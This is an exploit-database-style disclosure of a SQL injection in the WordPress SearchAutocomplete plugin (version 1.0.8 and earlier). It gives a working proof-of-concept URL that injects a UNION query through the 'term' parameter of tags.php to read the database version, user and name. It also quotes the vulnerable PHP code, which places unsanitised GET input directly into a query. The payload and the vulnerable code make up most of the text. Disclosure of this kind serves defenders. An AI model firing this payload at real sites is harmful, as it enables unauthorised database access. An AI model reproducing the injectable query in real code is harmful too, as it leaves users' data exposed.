WordPress Plugin SearchAutocomplete 1.0.8 - SQL Injection

# Exploit Title: WordPress SearchAutocomplete plugin <= 1.0.8 SQL Injection Vulnerability
# Date: 2011-09-01
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/search-autocomplete.zip
# Version: 1.0.8 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20

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Vulnerable code
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if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title");